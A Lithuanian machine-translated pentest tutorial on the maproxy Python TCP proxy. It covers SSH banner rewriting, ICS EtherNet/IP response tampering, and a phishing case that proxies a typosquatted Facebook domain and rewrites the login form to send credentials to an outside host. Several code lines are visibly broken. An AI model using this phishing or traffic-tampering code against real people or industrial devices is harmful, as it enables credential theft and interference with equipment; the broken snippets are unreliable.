Greitai apdorokite tinklo duomenis

Straipsnio vertimas buvo parengtas kursų pradžios išvakarėse „Pentestas. Prasiskverbimo testavimo praktika“.

Greitai apdorokite tinklo duomenis

Anotacija

Įvairių tipų saugos vertinimai, pradedant įprastiniu skverbties testavimu ir Red Team operacijomis iki įsilaužimo į IoT/ICS įrenginius ir SCADA, apima darbą su dvejetainiais tinklo protokolais, ty iš esmės perima ir modifikuoja tinklo duomenis tarp kliento ir objekto. Tinklo srauto uostymas nėra sudėtinga užduotis, nes turime tokius įrankius kaip „Wireshark“, „Tcpdump“ ar „Scapy“, tačiau atrodo, kad modifikavimas yra daug darbo reikalaujanti užduotis, nes mums reikės tam tikros sąsajos tinklo duomenims skaityti, filtruoti, keisti. jį skrendant ir beveik realiuoju laiku nusiųskite atgal tikslinei prieglobai. Be to, būtų idealu, jei toks įrankis automatiškai veiktų su keliais lygiagrečiais ryšiais ir būtų pritaikomas naudojant scenarijus.

Vieną dieną atradau įrankį, vadinamą maproxy, dokumentacija man greitai tai paaiškino maproxy – kaip tik tai, ko man reikia. Tai gana paprastas, universalus ir lengvai konfigūruojamas TCP tarpinis serveris. Išbandžiau šį įrankį keliose gana sudėtingose ​​programose, įskaitant ICS įrenginius (kurie generuoja daug paketų), kad išsiaiškinčiau, ar jis gali valdyti daug lygiagrečių jungčių, ir įrankis veikė gerai.

Šis straipsnis supažindins jus su tinklo duomenų apdorojimu sklandžiai naudojant maproxy.

Peržiūrėti

Įrankis maproxy yra pagrįstas Tornado – populiaria ir brandžia Python asinchroninio tinklo sistema.

Apskritai jis gali veikti keliais režimais:

  • TCP:TCP – nešifruoti TCP ryšiai;
  • TCP:SSL и SSL:TCP – su vienpusiu šifravimu;
  • SSL:SSL – dvipusis šifravimas.

Jis ateina kaip biblioteka. Norėdami greitai pradėti, galite naudoti pavyzdinius failus, kurie atspindi pagrindinį bibliotekos funkcijas:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

1 atvejis – paprastas dvikryptis tarpinis serveris

Remiantis tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

Pagal nutylėjimą ProxyServer() turi du argumentus – ryšio vietą ir tikslinį prievadą. server.listen() paima vieną argumentą – prievadą, skirtą klausytis gaunamo ryšio.

Scenarijaus vykdymas:

# python tcp2tcp.py

Norėdami atlikti testą, prisijungsime prie vietinio SSH serverio naudodami tarpinio serverio scenarijų, kuris klausosi 2222/tcp prievadą ir jungiasi prie standartinio prievado 22/tcp SSH serveriai:

Greitai apdorokite tinklo duomenis

Pasisveikinimo reklamjuostė informuoja, kad mūsų scenarijaus pavyzdys sėkmingai perdavė tinklo srautą.

2 atvejis – duomenų modifikavimas

Kitas demonstracinis scenarijus logging_proxy.py idealiai tinka sąveikai su tinklo duomenimis. Failo komentaruose aprašomi klasės metodai, kuriuos galite keisti, kad pasiektumėte savo tikslą:

Greitai apdorokite tinklo duomenis

Įdomiausia čia:

  • on_c2p_done_read – perimti duomenis pakeliui iš kliento į serverį;
  • on_p2s_done_read - atvirkščiai.

Pabandykime pakeisti SSH reklamjuostę, kurią serveris grąžina klientui:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Vykdykite scenarijų:

Greitai apdorokite tinklo duomenis

Kaip matote, klientas buvo suklaidintas, nes jo SSH serverio pavadinimas buvo pakeistas į «DumnySSH».

Greitai apdorokite tinklo duomenis

3 atvejis – paprastas sukčiavimo tinklalapis

Yra begalė šio įrankio naudojimo būdų. Šį kartą sutelkime dėmesį į kažką praktiškesnio iš Raudonosios komandos operacijų pusės. Pamėgdžiokime nukreipimo puslapį m.facebook.com ir naudokite tinkintą domeną su sąmoninga rašybos klaida, pavyzdžiui, m.facebok.com. Demonstraciniais tikslais tarkime, kad domeną užregistravome mes.

Mes ketiname užmegzti nešifruotą tinklo ryšį su mūsų aukų tarpiniu serveriu ir SSL srautu į Facebook serverį (31.13.81.36). Kad šis pavyzdys veiktų, turime pakeisti HTTP pagrindinio kompiuterio antraštę ir įvesti teisingą pagrindinio kompiuterio pavadinimą, taip pat išjungsime atsako glaudinimą, kad galėtume lengvai pasiekti turinį. Galiausiai pakeisime HTML formą, kad prisijungimo duomenys būtų siunčiami mums, o ne „Facebook“ serveriams:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/lt/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Apibendrinant galima teigti, kad:

Greitai apdorokite tinklo duomenis

Kaip matote, mums pavyko sėkmingai pakeisti pradinę svetainę.

4 atvejis – Ethernet/IP perkėlimas

Jau seniai dirbu su pramoniniais įrenginiais ir programine įranga (ICS/SCADA), tokiais kaip programuojami valdikliai (PLC), įvesties/išvesties moduliai, diskai, relės, kopėčių programavimo aplinkos ir daugelis kitų. Šis dėklas skirtas tiems, kurie mėgsta pramoninius dalykus. Įsilaužimas į tokius sprendimus apima aktyvų žaidimą su tinklo protokolais. Šiame pavyzdyje norėčiau parodyti, kaip galite keisti ICS/SCADA tinklo srautą.

Norėdami tai padaryti, jums reikės šių dalykų:

  • Tinklo uostytojas, pavyzdžiui, „Wireshark“;
  • Ethernet/IP arba tiesiog SIP įrenginys, jį rasite naudodamiesi Shodan paslauga;
  • Mūsų scenarijus pagrįstas maproxy.

Pirmiausia pažiūrėkime, kaip atrodo tipiškas identifikavimo atsakymas iš CIP (Common Industrial Protocol):

Greitai apdorokite tinklo duomenis

Įrenginio identifikavimas atliekamas naudojant Ethernet/IP protokolą, kuris yra patobulinta pramoninio Ethernet protokolo versija, apimanti valdymo protokolus, tokius kaip CIP. Ketiname pakeisti paryškintą ID pavadinimą, kuris matomas ekrano kopijoje "NI-IndComm Ethernet" naudojant mūsų tarpinio serverio scenarijų. Galėtume pakartotinai panaudoti scenarijų logging_proxy.py ir panašiai modifikuoti klasės metodą on_p2s_done_read, nes norime, kad kliente būtų matomas kitas tapatybės vardas.

Kodas:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

Iš esmės du kartus paprašėme įrenginio identifikavimo, antrasis atsakymas buvo originalus, o pirmasis buvo pakeistas.

Ir paskutinis

Mano nuomone maproxy Patogus ir paprastas įrankis, kuris taip pat parašytas Python, todėl tikiu, kad ir jums gali būti naudinga jį naudoti. Žinoma, yra ir sudėtingesnių tinklo duomenų apdorojimo ir modifikavimo įrankių, tačiau jie taip pat reikalauja daugiau dėmesio ir dažniausiai yra kuriami konkrečiam naudojimo atvejui, pvz. Muraena, Modliška arba evilginx atvejams, panašiems į trečiąjį, arba kanapes paskutiniam atvejui. Vienaip ar kitaip, su pagalba maproxy galite greitai įgyvendinti savo idėjas perimti tinklo duomenis, nes scenarijų pavyzdžiai yra labai aiškūs.

„Windows AD“ autentifikavimo mechanizmų tikrinimas

Šaltinis: www.habr.com

Добавить комментарий